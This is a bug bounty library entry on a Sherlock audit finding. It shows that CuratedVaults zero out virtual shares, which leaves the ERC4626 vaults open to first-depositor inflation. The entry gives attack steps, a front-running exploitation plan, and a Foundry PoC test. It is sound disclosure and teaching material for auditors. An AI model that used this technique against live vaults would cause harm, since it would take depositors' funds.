# CuratedVaults are prone to inflation attacks due to not utilising virtual shares

ERC4626 vault with VIRTUAL_SHARES=0 lets an attacker donate assets to inflate share price so a victim's deposit mints 0 shares.

- Payout: Audit contest
- Severity: medium
- Program: New Scope
- Found by: 0xMax1mus
- Disclosed: 2024-06-27
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/141
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-06-new-scope%3AM-2
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:regression technique:source-review vuln:business-logic vuln:share-inflation

**Target:** ERC4626 vault (CuratedVaults / SharesMathLib)
**Root cause:** SharesMathLib sets VIRTUAL_SHARES and VIRTUAL_ASSETS to 0, removing Morpho's first-depositor inflation protection, so share price can be inflated by direct donation.
**Steps:**
1. Attacker deposits 1e18+1 assets into empty vault, receiving 1 share.
2. Attacker donates 1e18 loan tokens directly to vault (transfer/mint) to inflate share price.
3. Victim calls `vault.deposit(1e18, victim)`; shares computed as assets*totalSupply/totalAssets rounds down to 0.
4. Attacker redeems the single share, capturing victim's deposit plus own funds (net loss for attacker).
**How found:** Compared the forked SharesMathLib against upstream Morpho and noticed VIRTUAL_SHARES/VIRTUAL_ASSETS were zeroed out, removing the known ERC4626 inflation defense; confirmed with a Foundry PoC.
**Exploitation:** Front-run a victim's first deposit into a fresh vault: seed with minimal assets to get 1 share, donate a large amount to inflate totalAssets, victim's deposit rounds to 0 shares, attacker redeems sole share for the combined balance.
**Insight:** When auditing forks of battle-tested protocols, diff constants and library values against upstream—zeroed-out virtual shares/offsets silently reintroduce classic ERC4626 first-depositor inflation.

## Proof of concept (copied exactly from the original report)

**Foundry test demonstrating vault inflation attack**

```
function testVaultInflationAttack() public {
    uint256 attackerAssets = 1e18+1;
    uint256 attackerDonation = 1e18;
    uint256 supplierAssets = 1e18;

    loanToken.mint(attacker, attackerAssets);
    loanToken.mint(supplier, supplierAssets);

    /// attacker front-run supplier
    loanToken.mint(0x50EEf481cae4250d252Ae577A09bF514f224C6C4, attackerDonation); // ERC4626Test context will perform the donation as vm.startPrank isn't changing msg.sender to attacker
    allMarkets[0].supplySimple(address(loanToken), address(vault), attackerDonation, 0); // supply vault market position
    console.log("attacker donates assets:", attackerDonation);

    vm.prank(attacker);
    uint256 attackerShares = vault.deposit(attackerAssets, attacker);
    console.log("attacker deposits underlying:", attackerAssets);
    console.log("attacker shares:", attackerShares);
    loanToken.mint(address(vault), 1e18); // same as attacker transfering, but having issue with foundry
    // attacker donation
    
    /// supplier deposit transaction
    vm.prank(supplier);
    uint256 supplierShares = vault.deposit(supplierAssets, supplier);
    console.log("supplier deposits underlying:", supplierAssets);
    console.log("supplier shares:", supplierShares);

    console.log("vault underlying:", vault.totalAssets());
    console.log("vault shares:", vault.totalSupply());
  }
```

